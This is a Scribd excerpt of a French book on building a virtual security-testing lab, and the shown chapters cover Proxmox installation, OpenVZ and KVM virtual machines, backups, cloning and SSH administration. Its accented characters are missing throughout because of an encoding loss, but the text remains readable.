Téléchargez comme PDF, TXT ou lisez en ligne sur Scribd
Télécharger au format pdf ou txt
Vous êtes sur la page 1sur 231
Hacking - Un labo virtuel pour auditer et
mettre en place des contre-mesures
I nformations gnrales Ce livre s'adresse toute personne souhaitant s'initier ou se perfectionner dans le domaine de la scurit informatique, et donc du hacking, et dsireuse de faire un point sur ses comptences.
Quand une entreprise, un particulier, une association souhaite mettre en place un systme d'information, comment vrifier, avant la mise en production, qu'il n'existe pas de faille de scurit ? Comment tester si les protections mises en place sont efficaces ? Ce livre est conu pour rpondre ces attentes en guidant le lecteur dans la conception d'un laboratoire virtualis complet dans lequel de nombreux services seront implments.
Aprs cette premire phase de cration, votre laboratoire virtualis accueillera votre systme d'information et vous pourrez alors attaquer celui-ci afin d'en dtecter les failles. Pour vous entraner cette phase d'attaque, les auteurs vous proposent de mettre en place dans le laboratoire un ensemble d'lments faillibles. Ceux-ci sont prsents sous forme d'un challenge de scurit ddi l'entranement. Vous pourrez ainsi vrifier vos comptences et valuer la qualit des outils d'audit que vous souhaitez utiliser. Les auteurs ont cherch couvrir le domaine le plus large possible avec un cot trs raisonnable en investissement matriel. Ainsi, vous serez confronts des failles applicatives, des failles Web, des failles systmes, etc. Une correction des diffrentes preuves vous est propose.
Pour terminer, les solutions pour se protger et mettre en place les contre-mesures adaptes sont prsentes.
Les chapitres du livre : Introduction Proxmox Machines virtuelles et services Mise en place des preuves Plateformes d'entranement Le matriel indispensable Scurisation du PC Introduction La scurit informatique est un domaine particulier qui ne peut pas tre abord de la mme faon que les autres domaines de linformatique. Elle ne fait pas lobjet de cours acadmiques comme ceux que nous pouvons suivre lUniversit. Cest pour cette raison que les plus grands hackers ont rarement un cursus universitaire, car il faut regarder les choses autrement. Pour trouver une faille de scurit, il nest pas ncessaire de tout connatre sur tous les systmes et tous les langages, ce qui est impossible, il faut juste tre capable de voir ce que les autres ne voient pas. Lobjectif de cet ouvrage est dapprendre concevoir un petit laboratoire permettant de sentraner laudit des systmes dinformation et de tester des solutions logicielles ainsi que quelques lments matriels. La lecture de ce livre ncessite certaines connaissances en informatique. Le lecteur doit avoir des notions sur les langages assembleur, PHP et C, ainsi que sur les bases de donnes et les rseaux. Sans tre un expert de chaque domaine, la comprhension de louvrage sera plus aise si le lecteur dispose de ces bases. Ces connaissances sont indispensables pour aborder le hacking mais elles peuvent tre acquises au fil de leau. Par exemple, lorsque nous parlerons de BoF (buffer overflow), le lecteur constatera que des notions dassembleur sont indispensables. Il pourra alors consulter en parallle de cet ouvrage un livre sur lassembleur lui permettant dapprhender les points traits. Nous rencontrons dans nos diffrents audits de scurit des failles extrmement basiques car le programmeur, bien que connaissant parfaitement le langage quil utilise, na pas la pense "programmation scurise". Voyons comment nous allons pouvoir progresser dans la scurisation de systmes en construisant ce laboratoire. Dans la premire partie de louvrage, nous verrons comment installer une multitude de services et de systmes moindres frais et en optimisant le temps pass cette installation. Nous souhaitons avoir un ensemble souple, modulable souhait et simple dutilisation. La virtualisation semble donc le meilleur choix, mais laquelle retenir parmi toutes les solutions proposes ? Nous expliquerons pourquoi nous avons opt pour la mise en uvre dun serveur Proxmox. Nous passerons linstallation de celui-ci et dtaillerons les principales commandes qui permettent de piloter les machines virtuelles. Nous passerons ensuite linstallation dune multitude de services afin de reproduire un petit rseau dentreprise. Ces services tourneront sous OpenVZ. Nous aborderons alors la mise en place de failles de scurit permettant dvaluer vos comptences en test de pntration de systmes ainsi que des logiciels daudit automatiss. OpenVZ ne permettant dmuler que des systmes Linux, il sera temps de passer la virtualisation de machines Windows avec KVM qui est aussi support par Proxmox. Nous traiterons laudit de systmes Windows et prsenterons deux plates-formes dentranement la recherche de failles. Nous terminerons en abordant les problmatiques de scurit plus physique mettant en uvre des matriels spcifiques comme les lecteurs de cartes puce, les lecteurs RFID, etc. Enfin, nous conclurons avec la scurisation des systmes Windows et Linux afin de nous prmunir dun maximum dattaques. Proxmox Prsentation Pour concevoir un laboratoire de test principalement orient systmes et services, il existe deux mthodes principales : soit acheter autant de machines physiques que de systmes installer, soit installer les systmes dans un environnement virtualis sur une mme machine physique prsentant de bonnes performances. La deuxime solution prsente deux avantages : rduire le cot et accrotre la souplesse et la rapidit dinstallation. Le seul bmol est que cette solution reste une virtualisation et quil peut arriver quun comportement se produise sur un environnement rel et pas dans un environnement virtualis. Mais cela reste la marge et les avantages que fournit la virtualisation sont tels que nous avons retenu cette solution. Il existe actuellement plusieurs mthodes de virtualisation. Nous allons dcrire succinctement chacune delles et argumenter notre choix dans le cadre de lapplication que nous souhaitons raliser. La virtualisation certainement la plus connue du grand public consiste en une mulation complte du matriel. Cette technique permet daccueillir pratiquement tous les systmes dexploitation car ceux-ci nont pas conscience dtre dans un environnement virtualis. Elle a comme avantage de permettre de tester les logiciels et services dans une situation trs proche de la ralit lorsque ceux-ci seront mis en production sur de vrais serveurs. Son principal dfaut est quelle est trs gourmande en ressources car il faut pour chaque systme muler tout le matriel et faire tourner un nouveau noyau. Nous pouvons citer des solutions comme VirtualBox ou QEMU, qui existent en version libre, ou encore VMware comme solution payante avec nanmoins un player gratuit. Celui-ci offre un avantage certain en limitant la consommation des ressources du systme accueillant la machine virtuelle par lutilisation dun noyau, que nous dirons intermdiaire, le VMKernel. Un autre inconvnient de la virtualisation totale est quil est impossible de modifier en dynamique la taille du disque dur ou la quantit de mmoire RAM alloue. Seuls quelques lments comme le comportement des cartes rseau peuvent tre changs en fonctionnement. La deuxime solution de virtualisation est lutilisation de Xen. Celle-ci offre de trs bonnes performances et peut fonctionner suivant diffrents modes selon le systme dexploitation mettre en place. Elle permet la mise en uvre de pilotes matriels virtuels mais aussi un accs direct aux priphriques. Un avantage non ngligeable est que les systmes sont bien isols entre eux, offrant ainsi une bonne scurit. Cest pour cette raison que beaucoup dentreprises retiennent cette solution. Nanmoins, pour tirer pleinement profit de Xen, il est prfrable dinstaller des systmes modifis spcialement ddis Xen. On parle alors de paravirtualisation utilise au travers dun dhyperviseur. La mise en place de Xen est plus complexe que les autres solutions et offre moins de souplesse. Bien que ce soit une excellente solution que nous conseillons vivement pour la mise en uvre de serveurs en production, nous estimons quil nous fallait quelque chose de plus souple pour notre laboratoire. La dernire solution que nous prsentons est OpenVZ, qui offre une virtualisation au niveau systme dexploitation. Celle-ci offre une trs grande souplesse comme le changement de la quantit de mmoire RAM, le nombre de processeurs ou encore la taille des disques en dynamique, sans arrter les services. De plus, elle noccasionne une perte que de quelques pour-cent de performance par rapport aux autres solutions prsentes, qui elles, sont plus gourmandes en ressources. Tout cela est rendu possible par lutilisation dun noyau Linux modifi. Les environnements virtuels (VE) tournent tous avec le mme noyau qui est capable de crer plusieurs instances du systme totalement isoles les unes des autres. Bien entendu, ceci occasionne une restriction forte au niveau des systmes dexploitation qui peuvent tre virtualiss, car ils doivent ncessairement tre des systmes Linux. Par contre, leur installation ne prend que quelques secondes de par le mcanisme mis en jeu. Cest donc cette solution que nous retiendrons pour la virtualisation des environnements Linux afin de faire tourner les divers services dont nous avons besoin (Apache, MySQL, DHCP, FTP, etc.). Avec le choix nonc prcdemment, nous ne pouvons pas faire tourner des systmes Windows, ce qui est inacceptable pour un laboratoire de test. Il faut donc retenir une autre solution. QEMU offre de bonnes performances et, chose trs intressante, il en existe un clone nomm KVM qui est de plus intgr dans une solution proposant OpenVZ : Proxmox. Proxmox est une solution complte pour la virtualisation intgrant OpenVZ et KVM ainsi quune interface de gestion tournant dans un navigateur. Le tout est tlchargeable sous forme dune ISO incluant un installateur dployant un systme Linux avec un noyau modifi pour OpenVZ, un environnement KVM, un serveur Apache, etc. Installation La premire tape consiste rcuprer une image ISO du CD-ROM dinstallation disponible sur le site www.proxmox.com cette adresse : http://www.proxmox.com/downloads/category/iso-images-pve lheure o ces pages sont crites, cest la version 2.2 de Proxmox VE qui est disponible. Nous la tlchargeons et gravons un CD-ROM afin de procder linstallation. Proxmox peut tre install sur des machines ne prsentant pas forcment des performances extraordinaires. Mais comme nous comptons mettre en uvre une dizaine de machines virtuelles, il faut quand mme un minimum de ressources. Lenvironnement minimum que nous vous conseillons est le suivant : Un processeur 64 bits, de prfrence un i5 ou un i7. Une mmoire RAM de 4 Go. Un disque dur de 500 Go. Bien entendu, vous pouvez prendre beaucoup plus suivant votre budget et vos objectifs car Proxmox est capable de grer 64 processeurs et 64 Go de RAM. Entrons dans le vif du sujet en passant linstallation. Aprs avoir dmarr sur le CD-ROM, nous sommes face lcran ci-aprs proposant des options de dmarrage ventuelles. Ici, nous nous contentons dappuyer sur [Entre].
Nous acceptons ensuite les termes de la licence.
Nous vrifions que linstallation va se faire sur le bon disque. Celui-ci est indiqu en bas de lcran, puis nous passons la suite. Vient alors le choix de la langue, du fuseau horaire et du clavier.
Ltape suivante est importante puisquelle va dfinir un mot de passe pour ladministrateur du serveur. Celui-ci doit tre suffisamment robuste car il donnera accs toutes les machines virtuelles. Il faudra aussi renseigner un e-mail valide.
Nous arrivons alors la configuration du rseau. Si vous tes en DHCP, Proxmox utilise automatiquement la configuration qui lui est fournie par le DHCP, sinon il faudra soigneusement renseigner celle-ci.
Tous les renseignements ncessaires linstallation sont donns. Le passage la prochaine tape entraine linstallation proprement dite du serveur.
Si tout se droule bien, nous arrivons aprs quelques minutes lcran final de linstallation qui nous propose de redmarrer notre serveur.
Nous constatons au redmarrage que nous avons bien un noyau modifi pour Proxmox.
Une fois le serveur compltement dmarr, nous constatons que nous ne disposons pas denvironnement graphique, ce qui est normal. Nous avons alors deux solutions pour administrer notre serveur : soit nous identifier en tant quutilisateur root et grer les machines virtuelles laide de la ligne de commande, soit nous connecter sur le serveur laide dun navigateur comme suggr sur lcran daccueil.
Nous retiendrons cette deuxime solution dans un premier temps avant de nous lancer dans la ligne de commande. Configuration 1. Prsentation de linterface Prenons donc notre navigateur prfr et connectons-nous ladresse indique. Utilisez ladresse correspondant votre situation. Cette adresse nest accessible quen HTTPS et nous devons accepter le certificat car celui-ci est autosign. Nous sommes alors face la fentre didentification. Nous choisissons la langue souhaite et nous identifions en tant quutilisateur root.
En haut gauche, nous trouvons une liste droulante permettant de visualiser le serveur de trois faons diffrentes : serveur dossier stockage En dessous, nous visualisons la reprsentation demande. La partie centrale prsente un grand nombre donglets. Ceux-ci changent en fonction de la slection que nous faisons dans larborescence du serveur. La partie infrieure prsente les tches ralises et celles en cours dans le premier onglet. Le second onglet nous renseignera sur les logs du serveur. Lobjet de cet ouvrage nest pas un cours Proxmox. Nous vous invitons donc vous reporter la documentation en ligne si vous souhaitez aller plus loin. Vous pouvez la trouver cette adresse : http://pve.proxmox.com/wiki/Main_Page Nous allons ici dcrire nanmoins tout ce qui est ncessaire la ralisation de notre laboratoire. Aprs ce chapitre, vous saurez dj utiliser un grand nombre de fonctionnalits de Proxmox. 2. Les conteneurs OpenVZ Passons la pratique en crant notre premire machine virtuelle. Nous dcouvrions ainsi les diffrentes fonctionnalits du Proxmox au fur et mesure. Comme nous lavons expliqu lors de la prsentation des diffrentes mthodes de virtualisation, le serveur Proxmox propose une virtualisation avec OpenVZ, ce qui sera appel un conteneur (CT) et une virtualisation complte avec KVM qui sera appele machine virtuelle (VM). Nous allons commencer par crer un conteneur. Mais avant, il est ncessaire de charger des modles qui seront utiliss pour sa cration. Dans la vue serveur nous cliquons sur le [+] et slectionnons la branche local (proxmox). Nous visualisons sur la partie centrale un rsum de ltat de lespace disque dont nous disposons sur notre serveur. Nous passons longlet Contenu et constatons que nous ne disposons pour le moment daucun modle.Pour en charger un, il faut cliquer sur Modles. Nous sommes alors face une liste de modles disponibles.
Nous voyons quil existe quelques systmes dexploitation possibles mais surtout, une multitude de services et autres CMS prts lemploi comme LAMP, Drupal, Symfony, etc. Commenons par un systme simple et choisissions une Debian-6.0. Nous slectionnons litem correspondant dans la liste et cliquons sur Tlcharger.
Dans larborescence de gauche, si nous nous rendons sur le disque local du Proxmox et que nous slectionnons longlet Contenu du volet de droite, nous visualisons bien limage que nous venons de tlcharger.
Il est possible de rcuprer dautres modles sur dautres sources et aussi de crer ses propres modles. Un exemple de source : http://openvz.org/Download/template/precreated Pour ce qui est de la cration de ses propres modles, ce nest pas le sujet de ce livre, mais vous pouvez vous reporter lexemple de cration dun modle en suivant ce lien : http://www.webstrat.fr/blog/web-technology/creer-un-template-de-machine-virtuelle-sous- openvz Maintenant que nous disposons dun modle, il faut crer le conteneur. Commenons par cliquer en haut droite sur le bouton Crer CT. Nous sommes alors face lcran ci-aprs.
Le premier champ permet de spcifier le nud ; ici, il ny en a quun. Ces nuds permettent de mettre des serveurs Promox en cluster . Ceci permet une haute disponibilit des services avec une gestion de machines virtuelles rparties sur plusieurs serveurs physiques. Ce nest pas notre cas ici et nous travaillerons toujours avec un seul nud. Par contre, cette possibilit est souvent utilise par les prestataires proposant des services haute disponibilit. Il faut ensuite indiquer un numro unique pour chaque machine, ce sera son ID. Il est automatiquement incrment, mais nous pouvons y mettre ce que nous voulons. Laissons la valeur 100 par dfaut. Vient ensuite le nom de la machine, par exemple WEB1 . Nous navons pas constitu de pool de ressources, ce champ restera donc vide. Nous gardons aussi le champ stockage sur local, car nous navons dclar quune zone de stockage disponible pour le moment. Reste le mot de passe saisir et nous pouvons cliquer sur Suivant.
Nous devons choisir ensuite le modle avec lequel nous souhaitons crer notre conteneur. Ici, nous nen trouvons quun seul car nous nen avons tlcharg quun. Une fois celui-ci slectionn, passons ltape suivante.
Cette tape nous permet de configurer les ressources de la machine virtuelle. Il faudra ajuster celles-ci en fonction de ce que nous souhaitons faire avec le conteneur (CT). Par exemple, pour un petit serveur web, nous pouvons garder les rglages par dfaut. Il sera toujours possible de revenir par la suite sur la mmoire alloue, ou lespace disque et mme sans arrter les services. Cest un gros avantage dOpenVZ. Passons la configuration du rseau en cliquant sur Suivant.
Nous constatons que nous avons deux possibilits pour configurer linterface rseau de la machine virtuelle. Le mode venet ou mode rout . Dans ce cas, cest le serveur OpenVZ qui administre compltement linterface en lui attribuant une IP qui sera route par le noyau Linux. Linterface na donc pas sa propre adresse MAC, et ne peut pas faire de broadcast dans le conteneur. Par contre, la scurit est renforce car OpenVZ contrle tout le trafic qui remonte la machine virtuelle. De plus, ce mode prsente des performances suprieures. Tout ceci est parfait pour fournir un service classique, mais ici notre but est de reproduire de la faon la plus fidle possible le comportement dune machine relle. Dans ce cas, il est prfrable dutiliser le mode Bridged (pont). La machine virtuelle se comporte alors comme si elle possdait sa propre carte rseau, elle dispose dune adresse MAC et peut faire du broadcast , et par consquent, la scurit doit tre gre par le systme install dans le conteneur. Nous choisirons ce mode. Voici un petit tableau qui rsume les deux modes exposs. Le mode Veth correspond un accs par pont que nous privilgions ici. Plus que quelques lments configurer et notre machine sera prte ; cliquons sur Suivant. Proprit Veth (Virtual ETHernet) Venet (Virtual NETwork) Dispose dune adresse MAC Oui Non Peut faire du broadcast Oui Non Peut capturer le trafic rseau Oui Non Scurit du rseau Basse leve Peut tre utilise dans un pont Oui Non Supporte lIPv6 Oui Oui Performances Rapide Trs rapide
Il nest pas ncessaire de configurer ici un serveur DNS, nous le ferons dans la machine virtuelle. Passons la dernire tape.
Nous sommes alors face un cran qui rsume lensemble des paramtres que nous venons de configurer. Aprs une relecture de ceux-ci pour vrification, nous pouvons lancer la cration de la machine en cliquant sur Termin. Aprs quelques secondes, nous visualisons la confirmation de la cration de la machine.
Notre conteneur apparat dans larborescence du Proxmox sur la partie gauche de lcran. Si nous cliquons dessus, lcran de droite affiche un rsum de son statut.
Nous voyons que la machine est pour le moment stoppe. Les diffrents onglets nous permettent de visualiser les ressources occupes, le mode rseau, etc. Lorsque la machine est slectionne, un clic sur Dmarrer permet de lancer celle-ci. Nous voyons en bas de lcran les enregistrements des oprations que nous faisons. Une fois la machine dmarre, nous pouvons obtenir une console sur celle-ci en cliquant sur Console en haut droite de lcran. Comme le serveur Proxmox a t install avec un serveur Apache proposant une connexion HTTPS qui dispose dun certificat autosign, et que celui-ci a besoin de dmarrer une applet Java pour muler une console sur la machine virtuelle, notre navigateur nous demande tout naturellement une confirmation avant de lancer le code Java.
Deux confirmations seront demandes. Nous confirmons le lancement en cliquant sur Run. Nous sommes alors face la console ci-aprs.
Nous pouvons nous identifier en tant quutilisateur root avec le mot de passe que nous avons saisi lors de la cration de la machine virtuelle. Cette navigation via une application Java nest pas des plus confortables et nous verrons quil est prfrable de travailler en connexion SSH, directement sur le serveur quand cela est possible. Nous en avons fini pour le moment avec linstallation de machines en OpenVZ. Nous configurerons dans le chapitre suivant tous les services ncessaires notre laboratoire de hacking dans ce type de machines virtuelles. 3. Travailler avec une ISO et KVM Comme nous lavons expliqu, les machines OpenVZ ne peuvent muler que des systmes Linux. Il faut donc passer par KVM pour installer un systme Windows. Avant de commencer linstallation, il faut dans un premier temps fournir notre serveur Proxmox une image dun CD-ROM dinstallation. Il est toujours possible dutiliser le CD-ROM de la machine qui hberge le serveur Proxmox mais ce nest pas des plus commodes quand le serveur est distant. Cest pour cette raison que nous prfrons ici lutilisation dune image ISO. La premire tape consiste dposer limage ISO du CD-ROM sur le serveur. Pour cela, il faut slectionner le disque local dans larborescence du serveur gauche puis se rendre dans longlet Contenu. Nous voyons deux choix apparatre dans le menu de cet onglet : Modle et Upload. En cliquant sur Upload, le serveur nous ouvre une bote de dialogue nous demandant dindiquer o se trouve limage que nous souhaitons dposer.
Nous choisissons limage dont nous disposons. Si vous navez votre disposition que le CD- ROM original de Windows, il est toujours possible den faire une image avec k3b par exemple. Mais ce nest pas le sujet de ce livre. Nous poursuivrons le dpt en cliquant sur Upload.
Limage de notre CD-ROM remonte sur le serveur. La dure de cette opration peut tre variable suivant la rapidit de votre connexion. Une fois lopration termine, nous visualisons deux lments dans Contenu : limage ISO que nous venons de dposer et le modle de la Debian.
Nous pouvons passer la cration dune machine KVM en cliquant sur Crer VM en haut droite de lcran. Le premier onglet de la bote de dialogue qui nous est propose ressemble fortement celui de la cration de conteneur, mais ici, aucun mot de passe nest ncessaire. Nous changeons lID de la machine en 500 et choisissons Win1 comme nom de VM. Nous passons ltape suivante. Il peut tre intressant dorganiser les ID de machines en fonction du systme dexploitation install. Par exemple, 1xx pour les Linux, 5xx pour les Windows.
Dans cette tape, il faut choisir le type de systme dexploitation que nous voulons installer. Nous voyons quil est aussi possible dinstaller des systmes Linux, ce qui semble normal. Mais cette fois, le noyau du systme appartiendrait entirement la machine virtuelle et ne serait pas partag avec Proxmox. Dans notre cas, nous choisissons Windows XP/2003 et passons ltape suivante.
Cest l que limage du CD-ROM que nous avons dpose va nous tre trs utile. Il suffit juste de la slectionner pour simuler son insertion dans le lecteur de la machine virtuelle. Nous pouvons poursuivre et passer ltape de configuration du disque dur.
Le disque dur de la machine est en ralit un fichier. Nous pouvons choisir la faon dont il sera vu dans la machine virtuelle (IDE, SATA, etc.), sa taille et le type dimage disque (raw, QEMU, VMware). Nous conservons les rglages proposs par dfaut, sauf la taille que nous choisissons de rduire un peu. Tout ceci dpend de ce que vous souhaitez faire avec votre machine virtuelle.
Ltape suivante nous permet de choisir le microprocesseur que nous voulons muler pour notre machine. En ralit, nous allons pouvoir faire fonctionner un Windows 32bits sur un qemu64. Ce paramtre nest quun indicateur pour notre mulation. Nous nentrerons pas dans les dtails techniques du choix du CPU, ce qui nous emmnerait trop loin, mais vous pouvez approfondir vos connaissances ce sujet en lisant quelques discussions intressantes : http://rwmj.wordpress.com/2010/10/08/32-or-64-bit-virtual-cpu-in-kvm/ https://www.berrange.com/posts/2010/02/15/guest-cpu-model-configuration-in-libvirt-with- qemukvm/ Gardons les rglages par dfaut et passons ltape suivante.
Cette tape nous permet de rgler la quantit de mmoire que nous attribuons la machine virtuelle. Attention ne pas trop attribuer de mmoire une multitude de machines qui vont finir par occuper toute la mmoire de notre serveur et le faire fortement ralentir. Nous conservons donc les 512 Mo proposs et passons ltape suivante, la configuration du rseau. Nous disposons de plus doptions que dans le cas des conteneurs. Le premier choix se fait entre Bridged, NAT et No Network. Dans le premier cas, tout se passe comme si la carte rseau de notre machine virtuelle tait directement connecte au rseau physique sur lequel se trouve le serveur. La deuxime possibilit est la translation dadresse. Dans ce cas, il y a un routage entre linterface rseau de la machine virtuelle et le rseau physique. Le dernier choix est sans intrt puisquil prive notre VM de toute interface rseau. Comme dans le cas de la machine Debian, nous choisissons le mode Bridged pour que notre laboratoire virtuel se rapproche le plus possible de machines relles et que celles-ci soient vues sur le rseau comme telles. Sur la partie droite de la bote de dialogue qui nous est propose, nous pouvons slectionner le type de carte rseau mule, choisir ventuellement une adresse MAC pour celle-ci et limiter sa bande passante si ncessaire. Nous conservons les rglages par dfaut, qui se prtent bien ce que nous souhaitons faire.
La dernire tape nous permet de relire lensemble des paramtres rgls pour cette machine et de les confirmer si tout nous semble correct. Cest ce que nous faisons.
En cliquant sur Termin nous constatons que la machine est immdiatement cre, contrairement la cration de conteneur qui avait ncessit quelques secondes. Cest normal car ici, aucun systme nest encore install sur la machine. Cest juste une bote vide pour le moment. Pour procder linstallation de la machine, il faut la dmarrer. Pour cela, nous visualisons la liste des machines disponibles dans larborescence de notre serveur, slectionnons la machine 500 et cliquons sur Dmarrer. Une fois la machine dmarre, nous pouvons demander une console. Nous pouvons alors installer notre Windows comme nous le faisons habituellement.
Voil, nous avons prsent deux machines virtuelles installes, une dans un conteneur sous OpenVZ et une autre avec KVM, tout ceci dans la mme interface. 4. Effectuer des sauvegardes Crer des machines virtuelles, cest bien, mais quand nous aurons pass beaucoup de temps configurer des services et failles de scurit afin de sentrainer laudit, nous souhaiterons ne pas avoir refaire tout ce travail si une machine vient tre altre par une attaque. Il est donc intressant de pouvoir sauvegarder, restaurer et dupliquer nos VM. Pour la sauvegarde dune machine virtuelle, il existe plusieurs solutions et plusieurs modes. Proxmox est en effet pens pour crer des services haute disponibilit et permet donc deffectuer des sauvegardes tout en maintenant le service actif. Ce nest pas pour rien que de grosses entreprises proposant de lhbergement ont retenu cette solution. Avant deffectuer toute sauvegarde, il est ncessaire de configurer notre serveur Proxmox pour lui dfinir un emplacement o enregistrer les images. Pour cela, plaons-nous tout en haut de larborescence sur Centre de donnes et rendons-nous dans longlet Stockage. Nous visualisons un seul stockage disponible, local, qui est utilis pour les machines virtuelles prsentes mais pas pour leur sauvegarde.
Nous allons dclarer Proxmox un dossier pour la sauvegarde des VM. Dans le menu Ajouter nous disposons de quatre options : Directory LVM Group NFS Share iSCSI target Comme nous sommes partis du principe que nous navions quun disque pour le moment, nous allons choisir dindiquer un lieu de sauvegarde sous la forme dun dossier. Nous choisissons Directory.
Lors de linstallation du serveur, le systme de partitionnement a attribu la plus grande partie du disque dur une partition monte dans le dossier /var/lib/vz. Cest donc dans cette zone que nous allons dclarer lemplacement des sauvegardes. Nous nommons celle-ci Dump et prcisons le chemin complet dans Rpertoire. Le contenu est exclusivement rserv la sauvegarde, nous choisissons alors uniquement Backups dans le menu Contenu. Les autres options sont laisses aux valeurs par dfaut.
Nous visualisons bien deux dclarations de stockage et voyons apparatre dump dans larborescence du serveur Proxmox gauche. Voil, nous sommes prts effectuer la sauvegarde dune machine. Slectionnons la VM Debian dID 100 dans larborescence du Proxmox et rendons-nous dans longlet Sauvegarde du panneau de droite.
Nous voyons un menu disposant dune option Backup now. Cliquons dessus. Nous sommes face la bote de dialogue intitule Sauvegarde CT 100. Plusieurs options nous sont ici proposes, parmi lesquelles lemplacement o sera sauvegarde limage de notre machine. Comme nous navons dclar quun seul emplacement ddi aux sauvegardes, celui-ci est mis par dfaut. Vient ensuite le mode. Il en existe trois : Snapshot : qui permet de faire une image de la machine sans suspendre les services de celle-ci. Tout au plus, limpact de ce mode sur les VM sera de les ralentir. Suspend : qui effectue la sauvegarde de la machine en suspendant temporairement les services. Stop : qui arrte la machine pour en effectuer la sauvegarde. Nous ne sommes pas ici dans le cas dun maintien de service absolument obligatoire puisque nous sommes dans un laboratoire. Dans ce cas, il est prfrable dutiliser le mode Stop, qui est celui prconis si on a le choix. Enfin, il reste dterminer le mode de compression de limage. De mme, nous ne sommes pas quelques secondes prs et une archive gzip nous permettra dconomiser de lespace disque. Les options tant rgles, il ne reste plus qu cliquer sur Sauvegarde.
Le temps ncessaire pour effectuer la sauvegarde dpend beaucoup de la puissance de votre serveur, de la rapidit de son disque dur et videmment de la taille de la machine sauvegarder. Mais cela reste gnralement trs rapide. Nous remarquons quen rafrachissant la page de notre navigateur, nous voyons apparatre la sauvegarde que nous venons deffectuer dans la zone de droite.
Il est alors possible prsent de restaurer la machine. Celle-ci se retrouvera exactement dans ltat dans lequel elle se trouvait au moment de sa sauvegarde. Il est vraiment intressant de sauvegarder des machines, mais il peut aussi tre trs utile de dupliquer des machines, cest--dire de les cloner. Pour cela, rien de plus simple. Il faut commencer par crer un conteneur et peu importe son contenu. Crons par exemple une VM qui prsente les caractristiques suivantes : Nom : WEB2 Mmoire RAM : 512 Mo Disque dur : 1 Go Une interface rseau en Bridge Pour cloner la machine WEB1 dans la machine WEB2, il suffit de slectionner la machine WEB2 dans larborescence du serveur, de se rendre dans longlet Sauvegarde, de slectionner notre sauvegarde de la machine WEB1 et de cliquer sur Restaurer.
La bote de dialogue qui se prsente devant nous nous indique bien que nous allons restaurer la machine dID 102 avec limage vzdump-openvz-100-xxxx.tar.gz. Lorsque nous cliquons sur Restaurer, un avertissement nous prvient que cela aura pour effet de dtruire toutes les donnes de la machine cible restaure. Confirmons la restauration. Si lopration sest correctement droule, nous devons voir apparatre le rsum ci-aprs.
En allant voir dans longlet Ressources de chaque machine, nous constatons que la VM dID 102 possde prsent un disque de 4 Go, comme la VM dID 100, le clonage ayant reproduit lidentique la VM dID 100. La duplication exactement lidentique dune VM va nous poser un problme au niveau de la carte rseau. En effet, si nous visualisons longlet Rseau de chaque machine, nous constatons quelles ont la mme adresse MAC et quelles sont connectes sur le mme pont (vmbr0) avec le mme Host device name : veth100:0 qui lui aussi prsente la mme adresse MAC. Pour viter tout problme, le mieux est de changer les adresses MAC et de crer une nouvelle interface rseau, voire de dtruire linterface rseau et de la recrer. Nous avons prsent sauvegard, restaur et clon des machines. Ceci est trs utile lorsquon travaille sur des tests dintrusion. 5. Les commandes de base a. Administrer autrement Proxmox Jusqu prsent nous avons utilis linterface web pour ladministration de notre serveur. Comme celui-ci tourne dans un environnement Linux, il est tout fait possible dutiliser une connexion SSH pour accder au serveur. Si vous tes sous Windows, je vous conseille dutiliser Putty, qui est un logiciel libre et permet des connexions de toutes sortes, Telnet, SSH, Srie, etc. Vous pouvez tlcharger ce logiciel ladresse suivante : http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html Il ny a mme pas dinstallation faire, juste lancer lexcutable. Nous nous plaons dans la catgorie Session et saisissons lIP de notre serveur. Nous pouvons mme sauvegarder cette configuration avec Save.
Cliquons sur Open et acceptons la cl qui nous est fournie. Celle-ci sera mmorise et cette confirmation ne nous sera plus demande la prochaine connexion.
Nous saisissions lidentifiant root et son mot de passe. Nous avons alors une console ouverte sur le serveur.
Si vous tes sous Linux, pas de problme, la commande ssh est native sur le systme. Un simple : ssh [email protected] dans une console, en remplaant videmment lIP indique par lIP de votre serveur, nous permet dobtenir une invite de commande sur le serveur. Il est aussi possible damliorer la scurit de la connexion en faisant un change pralable de cls entre les clients autoriss se connecter et le serveur. Dans la section suivante, nous partons du principe que nous avons tabli une connexion SSH entre le serveur et que nous sommes face linvite de commande de celui-ci. b. Petit tour dans larborescence de Proxmox Avant de se lancer dans la gestion des machines en ligne de commande, il est intressant de regarder comment le disque est organis par Proxmox. La partition la plus grande du disque se trouve monte dans /var/lib/vz. Cest cet endroit que nous allons trouver nos machines. Entrons dans ce dossier et regardons son contenu, puis celui du sous-dossier private. root@proxmox:~# cd /var/lib/vz root@proxmox:/var/lib/vz# ls -l total 44 drwxr-xr-x 3 root root 4096 Apr 1 09:48 dump drwxr-xr-x 4 root root 4096 Apr 4 08:52 images drwxr-xr-x 2 root root 4096 Apr 4 05:38 lock drwx------ 2 root root 16384 Jan 2 12:01 lost+found drwxr-xr-x 5 root root 4096 Apr 3 11:34 private drwxr-xr-x 5 root root 4096 Apr 3 11:34 root drwxr-xr-x 5 root root 4096 Jan 2 12:02 template drwxr-xr-x 2 root root 4096 Apr 3 11:30 vztmp root@proxmox:/var/lib/vz# ls -l private/ total 12 drwxr-xr-x 20 root root 4096 Apr 4 05:38 100 drwxr-xr-x 20 root root 4096 Apr 3 11:36 102 root@proxmox:/var/lib/vz# Nous retrouvons nos deux conteneurs, cest--dire les machines OpenVZ, mais pas la machine KVM. Si nous entrons dans le dossier 100 et que nous inspectons son contenu, nous retrouvons larborescence de la machine virtuelle. root@proxmox:/var/lib/vz# cd private/100 root@proxmox:/var/lib/vz/private/100# ls -l total 72 drwxr-xr-x 2 root root 4096 Apr 3 08:57 bin drwxr-xr-x 2 root root 4096 Sep 23 2012 boot drwxr-xr-x 4 root root 4096 Apr 4 05:38 dev drwxr-xr-x 57 root root 4096 Apr 4 05:48 etc drwxr-xr-x 3 root root 4096 Apr 4 05:48 home drwxr-xr-x 8 root root 4096 Oct 22 12:01 lib drwxr-xr-x 2 root root 4096 Oct 22 11:58 media drwxr-xr-x 2 root root 4096 Sep 23 2012 mnt drwxr-xr-x 2 root root 4096 Oct 22 11:58 opt drwxr-xr-x 2 root root 4096 Sep 23 2012 proc drwx------ 2 root root 4096 Mar 31 13:44 root drwxr-xr-x 2 root root 4096 Oct 22 12:01 sbin drwxr-xr-x 2 root root 4096 Jul 21 2010 selinux drwxr-xr-x 2 root root 4096 Oct 22 11:58 srv drwxr-xr-x 2 root root 4096 Mar 27 2012 sys drwxrwxrwt 4 root root 4096 Apr 4 08:44 tmp drwxr-xr-x 10 root root 4096 Oct 22 11:58 usr drwxr-xr-x 14 root root 4096 Apr 4 05:27 var 